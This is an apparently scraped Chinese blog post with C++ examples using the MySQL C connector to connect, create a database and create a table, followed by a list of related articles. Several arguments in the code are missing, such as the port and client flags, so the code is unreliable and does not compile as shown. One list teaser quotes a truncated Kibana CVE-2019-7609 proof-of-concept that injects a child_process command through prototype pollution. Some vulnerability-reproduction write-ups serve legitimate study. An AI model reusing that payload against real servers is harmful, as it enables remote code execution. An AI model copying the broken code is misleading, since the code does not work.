mysql-connetor-c 自动创建数据库、数据库表的命令
1.首先连接MySQL默认的数据库mysql
// 参数说明:
// strIP: MySQL数据库的IP地址
// nPort: MySQL数据库的端口号
// strDBName: 要连接的数据库(mysql)
// strUserName: 连接MySQL数据库的用户名
// strPassword: 连接MySQL数据库的密码
bool Connect( const std::string& strIP, int nPort, const std::string& strDBName,
const std::string& strUserName, const std::string& strPassword )
{
if ( nullptr == (m_hMysql = mysql_init(nullptr)) )
{
printf("mysql_init() failed!");
return false;
} if( nullptr == mysql_real_connect( m_hMysql, strIP.c_str(), strUserName.c_str(),
strPassword.c_str(), strDBName.c_str(), nPort, nullptr, ) )
{
printf("mysql_real_connect() failed!");
return false;
}
return true;
}
调用示例:
bool ret = Connect("127.0.0.1", , "mysql", "test", "test"); // 注意:"mysql"是MySQL自己的数据库
if (!ret)
{
printf("connect mysql failed\n");
}
2.创建自己的数据库test
bool CreateDatabase(const std::string& strSQL)
{
if (nullptr == m_hMysql || strSQL.empty())
{
return false;
} if (MYSQL_OK != mysql_query(m_hMysql, strSQL.c_str()))
{
printf("mysql_query failed, sql:%s\n", strSQL.c_str());
return false;
}
return true;
}
调用示例:
bool ret = CreateDatabase("CREATE DATABASE IF NOT EXISTS test DEFAULT CHARSET utf8 COLLATE utf8_general_ci");
if (!ret)
{
printf("CreateDatabase failed\n");
}
3.切换到自己的数据库test
bool ChangeDatabase(const std::string& strSQL)
{
if (nullptr == m_hMysql || strSQL.empty())
{
return false;
} if (MYSQL_OK != mysql_query(m_hMysql, strSQL.c_str()))
{
printf("mysql_query failed, sql:%s\n", strSQL.c_str());
return false;
}
return true;
}
调用示例:
bool ret = ChangeDatabase("USE test");
if (!ret)
{
printf("ChangeDatabase failed\n");
}
4.创建数据库表t_data
bool CreateTable(const std::string& strSQL)
{
if (nullptr == m_hMysql || strSQL.empty())
{
return false;
} if (MYSQL_OK != mysql_query(m_hMysql, strSQL.c_str()))
{
printf("mysql_query failed, sql:%s\n", strSQL.c_str());
return false;
}
return true;
}
调用示例:
bool ret = CreateTable("CREATE TABLE IF NOT EXISTS t_data ( Id BIGINT(20) NOT NULL AUTO_INCREMENT COMMENT '自增ID', DATA VARCHAR(256) NOT NULL COMMENT '数据位置', PRIMARY KEY (Id) ) ENGINE=INNODB DEFAULT CHARSET=utf8");
if (!ret)
{
printf("create table failed\n");
}
mysql-connetor-c 自动创建数据库、数据库表的命令的更多相关文章
- mysql 按照月份自动创建表,以年和月为表明,动态生成。
需求:mysql5.5 数据库,想要根据月份自动创建表,每个月创建一张表,需要数据库自动创建,并根据当前年和月动态生成表名称. 解决办法:1 连接数据库工具为Navicat 2 首先创建存储过程, ...
- MySQL数据库 | 数据表-查询命令详细记录
本篇专门记录数据库增删改查中最常用.花招最多的 查. [文章结构] 一.数据的准备 二.基本的查询功能 三.条件查询 四.查询排序 五.聚合函数 六.分组查询 七.分页查询 八.连接查询 九.子查询 ...
- mysql/mariadb学习记录——创建删除数据库、表的基本命令
查看已有的数据库: mysql> show databases; +--------------------+ | Database | +--------------------+ | inf ...
- mysql使用存储过程,自动生成新的表单
use mydb; delimiter // CREATE procedure create_table(In imax int) BEGIN DECLARE `@i` int(11); D ...
- Mysql分区表及自动创建分区Partition
Range分区表建表语句如下,其中分区键必须和id构成主键和唯一键 CREATE TABLE `test1` ( `id` char(32) COLLATE utf8mb4_unicode_ci NO ...
- MySQL数据库以及表的管理
MySQL数据库以及表的管理 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 今天我们探讨的话题就是如何使用MySQL做开发,我们运维的主要工作不是去开发SQL的,但尽管如此,我们有 ...
- MySql数据库2【常用命令行】
(一) 连接MYSQL: 格式: mysql -h主机地址 -u用户名 -p用户密码 1.连接到本机上的MYSQL 进入mysql安装目录下的bin目录下,再键入命令mysql -uroot -p,回 ...
- Oracle_创建和管理表
创建和管理表 常见的数据库对象 Oracle 数据库中的表 查询数据字典 命名规则 CREATE TABLE 语句 数据类型 使用子查询创建表 ALTER TABLE 语句 删除表 清空表 改变对象的 ...
- oracle中用SQL语句创建和管理表
表名和列名的命名规则: 必须以字母开头 必须在1-30个字符之间 只能包含A-Z,a-z,0-9,_,$,# 不能与用户定义的其它对象重名 不能使用ORACLE的保留字 创建前具备的条件: CREAT ...
- Oracle——创建和管理表
一.常见的数据库对象 对象 描述 表 基本的数据存储集合,由行和列组成 视图 从表中抽出的逻辑上相关的数据集合 序列 提供有规律的数值 索引 提高查询的效率 同以词 给对象起别名 二.Oracle 数 ...
随机推荐
- Kibana < 6.6.1 代码执行漏洞复现CVE-2019-7609
登陆kibana poc .es(*).props(label.__proto__.env.AAAA='require("child_process").exec("ba ...
- Git 学习第一天
本文是根据廖雪峰老师的git教程记录的学习笔记,特此说明,原教程链接https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c ...
- 2019秋Java课程总结&实验总结一
1.打印输出所有的"水仙花数",所谓"水仙花数"是指一个3位数,其中各位数字立方和等于该数本身.例如,153是一个"水仙花数". 实验源码: ...
- 20140724 菜单制作:制表位(段落->制表位->)
1.菜单制作:制表位(段落->制表位->) 叶轩楠·········· 上海大学 轩楠叶·········· 上海大学 楠轩叶·········· 上海大学 选完后要选“设置” 2.光盘制 ...
- Spring IOC源码分析(一):ApplicationContext体系结构设计之自底向上分析
spring-context包1. ApplicationContext接口 public interface ApplicationContext extends EnvironmentCapabl ...
- 几何问题 poj 1408
参考博客: 用向量积求线段焦点证明: 首先,我们设 (AD向量 × AC向量) 为 multi(ADC) : 那么 S三角形ADC = multi(ADC)/2 . 由三角形DPD1 与 三角形CPC ...
- 记一次vue 普通异步请求微信二进制二维码 乱码 问题解决然后渲染
后端压力大,前端分忧. /*用微信小程序token拿二维码*/ async fetchMINIQRcode({commit,state},params){ var instance = axios.c ...
- [LOJ#2732] 「JOISC 2016 Day 2」雇佣计划
参考博文 (不过个人感觉我讲的稍微更清楚一点) 题目就是让我们求图中满足数值大于等于B的连通块数量 然后我们可以尝试转换为求连通块两端所产生的“谷”的数量,显然一个连通块对谷可以贡献2的答案,最终答案 ...
- 笔记37 Spring Web Flow——流程的组件
在Spring Web Flow中,流程是由三个主要元素定义的:状态.转移和 流程数据. 一.状态 Spring Web Flow定义了五种不同类型的状态.通过选择Spring Web Flow的状态 ...
- vue实现curd功能
一.实现效果 二.实现 (一)实现增加用户功能 Vuserlist组件中 <template> <div class="panel panel-default"& ...